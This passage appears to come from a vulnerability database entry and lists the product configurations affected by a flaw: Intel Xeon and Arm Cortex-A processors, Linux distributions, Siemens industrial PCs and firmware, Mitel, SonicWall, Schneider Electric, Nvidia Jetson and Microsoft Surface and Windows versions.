Intel>>Xeon_platinum >> Version 8170
Intel>>Xeon_platinum >> Version 8170m
Intel>>Xeon_platinum >> Version 8176
Intel>>Xeon_platinum >> Version 8176f
Intel>>Xeon_platinum >> Version 8176m
Intel>>Xeon_platinum >> Version 8180
Intel>>Xeon_silver >> Version 4108
Intel>>Xeon_silver >> Version 4109t
Intel>>Xeon_silver >> Version 4110
Intel>>Xeon_silver >> Version 4112
Intel>>Xeon_silver >> Version 4114
Intel>>Xeon_silver >> Version 4114t
Intel>>Xeon_silver >> Version 4116
Intel>>Xeon_silver >> Version 4116t
Configuraton 0 Arm>>Cortex-a >> Version 15
Arm>>Cortex-a >> Version 57
Arm>>Cortex-a >> Version 72
Configuraton 0 Redhat>>Mrg_realtime >> Version 2.0
Redhat>>Openstack >> Version 7.0
Redhat>>Openstack >> Version 8
Redhat>>Openstack >> Version 9
Redhat>>Openstack >> Version 10
Redhat>>Openstack >> Version 12
Redhat>>Openstack >> Version 13
Redhat>>Virtualization_manager >> Version 4.2
Redhat>>Virtualization_manager >> Version 4.3
Redhat>>Enterprise_linux_desktop >> Version 6.0
Redhat>>Enterprise_linux_desktop >> Version 7.0
Redhat>>Enterprise_linux_eus >> Version 6.7
Redhat>>Enterprise_linux_eus >> Version 7.3
Redhat>>Enterprise_linux_eus >> Version 7.4
Redhat>>Enterprise_linux_eus >> Version 7.5
Redhat>>Enterprise_linux_eus >> Version 7.6
Redhat>>Enterprise_linux_eus >> Version 7.7
Redhat>>Enterprise_linux_server >> Version 6.0
Redhat>>Enterprise_linux_server >> Version 7.0
Redhat>>Enterprise_linux_server_aus >> Version 5.9
Redhat>>Enterprise_linux_server_aus >> Version 6.4
Redhat>>Enterprise_linux_server_aus >> Version 6.5
Redhat>>Enterprise_linux_server_aus >> Version 6.6
Redhat>>Enterprise_linux_server_aus >> Version 7.2
Redhat>>Enterprise_linux_server_aus >> Version 7.3
Redhat>>Enterprise_linux_server_aus >> Version 7.4
Redhat>>Enterprise_linux_server_aus >> Version 7.7
Redhat>>Enterprise_linux_server_tus >> Version 6.6
Redhat>>Enterprise_linux_server_tus >> Version 7.2
Redhat>>Enterprise_linux_server_tus >> Version 7.3
Redhat>>Enterprise_linux_server_tus >> Version 7.4
Redhat>>Enterprise_linux_server_tus >> Version 7.6
Redhat>>Enterprise_linux_server_tus >> Version 7.7
Redhat>>Enterprise_linux_workstation >> Version 6.0
Redhat>>Enterprise_linux_workstation >> Version 7.0
Configuraton 0 Debian>>Debian_linux >> Version 8.0
Debian>>Debian_linux >> Version 9.0
Configuraton 0 Canonical>>Ubuntu_linux >> Version 12.04
Canonical>>Ubuntu_linux >> Version 14.04
Canonical>>Ubuntu_linux >> Version 16.04
Canonical>>Ubuntu_linux >> Version 17.10
Canonical>>Ubuntu_linux >> Version 18.04
Configuraton 0 Siemens>>Itc1500_firmware >> Version To (excluding) 3.1
Siemens>>Itc1500 >> Version 3
Configuraton 0 Siemens>>Itc1500_pro_firmware >> Version To (excluding) 3.1
Siemens>>Itc1500_pro >> Version 3
Configuraton 0 Siemens>>Itc1900_firmware >> Version To (excluding) 3.1
Siemens>>Itc1900 >> Version 3
Configuraton 0 Siemens>>Itc1900_pro_firmware >> Version To (excluding) 3.1
Siemens>>Itc1900_pro >> Version 3
Configuraton 0 Siemens>>Itc2200_firmware >> Version To (excluding) 3.1
Siemens>>Itc2200 >> Version 3
Configuraton 0 Siemens>>Itc2200_pro_firmware >> Version To (excluding) 3.1
Siemens>>Itc2200_pro >> Version 3
Configuraton 0 Oracle>>Local_service_management_system >> Version From (including) 13.0 To (including) 13.3
Oracle>>Solaris >> Version 11
Configuraton 0 Siemens>>Ruggedcom_ape_firmware >> Version -
Siemens>>Ruggedcom_ape >> Version -
Configuraton 0 Siemens>>Simatic_et_200_sp_firmware >> Version To (excluding) 2.6
Siemens>>Simatic_et_200_sp >> Version -
Configuraton 0 Siemens>>Simatic_field_pg_m4_firmware >> Version To (excluding) 18.01.09
Siemens>>Simatic_field_pg_m4 >> Version -
Configuraton 0 Siemens>>Simatic_field_pg_m5_firmware >> Version To (excluding) 22.01.06
Siemens>>Simatic_field_pg_m5 >> Version -
Configuraton 0 Siemens>>Simatic_ipc3000_smart_firmware >> Version To (excluding) 1.5
Siemens>>Simatic_ipc3000_smart >> Version 2
Configuraton 0 Siemens>>Simatic_ipc347e_firmware >> Version To (excluding) 1.5
Siemens>>Simatic_ipc347e >> Version -
Configuraton 0 Siemens>>Simatic_ipc427c_firmware >> Version -
Siemens>>Simatic_ipc427c >> Version -
Configuraton 0 Siemens>>Simatic_ipc427d_firmware >> Version To (excluding) 17.0x.14
Siemens>>Simatic_ipc427d >> Version -
Configuraton 0 Siemens>>Simatic_ipc427e_firmware >> Version To (excluding) 21.01.09
Siemens>>Simatic_ipc427e >> Version -
Configuraton 0 Siemens>>Simatic_ipc477c_firmware >> Version -
Siemens>>Simatic_ipc477c >> Version -
Configuraton 0 Siemens>>Simatic_ipc477d_firmware >> Version To (excluding) 17.0x.14
Siemens>>Simatic_ipc477d >> Version -
Configuraton 0 Siemens>>Simatic_ipc477e_firmware >> Version To (excluding) 21.01.09
Siemens>>Simatic_ipc477e >> Version -
Configuraton 0 Siemens>>Simatic_ipc477e_pro_firmware >> Version To (excluding) 21.01.09
Siemens>>Simatic_ipc477e_pro >> Version -
Configuraton 0 Siemens>>Simatic_ipc547e_firmware >> Version To (excluding) r1.30.0
Siemens>>Simatic_ipc547e >> Version -
Configuraton 0 Siemens>>Simatic_ipc547g_firmware >> Version To (excluding) r1.23.0
Siemens>>Simatic_ipc547g >> Version -
Configuraton 0 Siemens>>Simatic_ipc627c_firmware >> Version To (excluding) 15.02.15
Siemens>>Simatic_ipc627c >> Version -
Configuraton 0 Siemens>>Simatic_ipc627d_firmware >> Version To (excluding) 19.02.11
Siemens>>Simatic_ipc627d >> Version -
Configuraton 0 Siemens>>Simatic_ipc647c_firmware >> Version To (excluding) 15.01.14
Siemens>>Simatic_ipc647c >> Version -
Configuraton 0 Siemens>>Simatic_ipc647d_firmware >> Version To (excluding) 19.01.14
Siemens>>Simatic_ipc647d >> Version -
Configuraton 0 Siemens>>Simatic_ipc677d_firmware >> Version To (excluding) 19.02.11
Siemens>>Simatic_ipc677d >> Version -
Configuraton 0 Siemens>>Simatic_ipc677c_firmware >> Version To (excluding) 15.02.15
Siemens>>Simatic_ipc677c >> Version -
Configuraton 0 Siemens>>Simatic_ipc827c_firmware >> Version To (excluding) 15.02.15
Siemens>>Simatic_ipc827c >> Version -
Configuraton 0 Siemens>>Simatic_ipc827d_firmware >> Version To (excluding) 19.02.11
Siemens>>Simatic_ipc827d >> Version -
Configuraton 0 Siemens>>Simatic_ipc847c_firmware >> Version To (excluding) 15.01.14
Siemens>>Simatic_ipc847c >> Version -
Configuraton 0 Siemens>>Simatic_ipc847d_firmware >> Version To (excluding) 19.01.14
Siemens>>Simatic_ipc847d >> Version -
Configuraton 0 Siemens>>Simatic_itp1000_firmware >> Version To (excluding) 23.01.04
Siemens>>Simatic_itp1000 >> Version -
Configuraton 0 Siemens>>Simatic_s7-1500_firmware >> Version To (excluding) 2.6
Siemens>>Simatic_s7-1500 >> Version -
Configuraton 0 Siemens>>Simotion_p320-4e_firmware >> Version To (excluding) 17.0x.14
Siemens>>Simotion_p320-4e >> Version -
Configuraton 0 Siemens>>Sinumerik_840_d_sl_firmware >> Version -
Siemens>>Sinumerik_840_d_sl >> Version -
Configuraton 0 Siemens>>Sinumerik_pcu_50.5_firmware >> Version To (excluding) 15.02.15
Siemens>>Sinumerik_pcu_50.5 >> Version -
Configuraton 0 Siemens>>Sinumerik_tcu_30.3_firmware >> Version -
Siemens>>Sinumerik_tcu_30.3 >> Version -
Configuraton 0 Siemens>>Sinema_remote_connect_firmware >> Version -
Siemens>>Sinema_remote_connect >> Version -
Configuraton 0 Mitel>>Micloud_management_portal >> Version *
Mitel>>Micollab >> Version -
Mitel>>Mivoic_mx-one >> Version -
Mitel>>Mivoice_5000 >> Version -
Mitel>>Mivoice_border_gateway >> Version -
Mitel>>Mivoice_business >> Version -
Mitel>>Mivoice_connect >> Version -
Mitel>>Open_integration_gateway >> Version -
Configuraton 0 Sonicwall>>Cloud_global_management_system >> Version -
Sonicwall>>Email_security >> Version -
Sonicwall>>Global_management_system >> Version -
Sonicwall>>Secure_mobile_access >> Version -
Sonicwall>>Web_application_firewall >> Version -
Sonicwall>>Sonicosv >> Version -
Configuraton 0 Schneider-electric>>Struxureware_data_center_expert >> Version To (excluding) 7.6.0
Schneider-electric>>Struxureware_data_center_expert >> Version 7.3.1 (Open CPE detail) Schneider-electric>>Struxureware_data_center_expert >> Version 7.4.0 (Open CPE detail) Schneider-electric>>Struxureware_data_center_expert >> Version 7.4.1 (Open CPE detail) Schneider-electric>>Struxureware_data_center_expert >> Version 7.4.2 (Open CPE detail) Schneider-electric>>Struxureware_data_center_expert >> Version 7.4.3 (Open CPE detail) Schneider-electric>>Struxureware_data_center_expert >> Version 7.5.0 (Open CPE detail) Configuraton 0 Redhat>>Virtualization >> Version 4.0
Redhat>>Enterprise_linux >> Version 7.0
Configuraton 0 Nvidia>>Jetson_tx1 >> Version To (excluding) r28.3
Nvidia>>Jetson_tx2 >> Version To (excluding) r28.3
Configuraton 0 Microsoft>>Surface >> Version -
Microsoft>>Surface_book >> Version -
Microsoft>>Surface_book >> Version 2
Microsoft>>Surface_pro >> Version 3
Microsoft>>Surface_pro >> Version 4
Microsoft>>Surface_pro >> Version 1796
Microsoft>>Surface_pro_with_lte_advanced >> Version 1807
Microsoft>>Surface_studio >> Version -
Microsoft>>Windows_10 >> Version -
Microsoft>>Windows_10 >> Version 1607
Microsoft>>Windows_10 >> Version 1703
Microsoft>>Windows_10 >> Version 1709
Microsoft>>Windows_10 >> Version 1803
Microsoft>>Windows_10 >> Version 1809
Microsoft>>Windows_7 >> Version -
Microsoft>>Windows_8.1 >> Version -
Microsoft>>Windows_server_2008 >> Version r2
Microsoft>>Windows_server_2008 >> Version sp2
Microsoft>>Windows_server_2012 >> Version -
Microsoft>>Windows_server_2012 >> Version r2
Microsoft>>Windows_server_2016 >> Version -
Microsoft>>Windows_server_2016 >> Version 1709
Microsoft>>Windows_server_2016 >> Version 1803
Références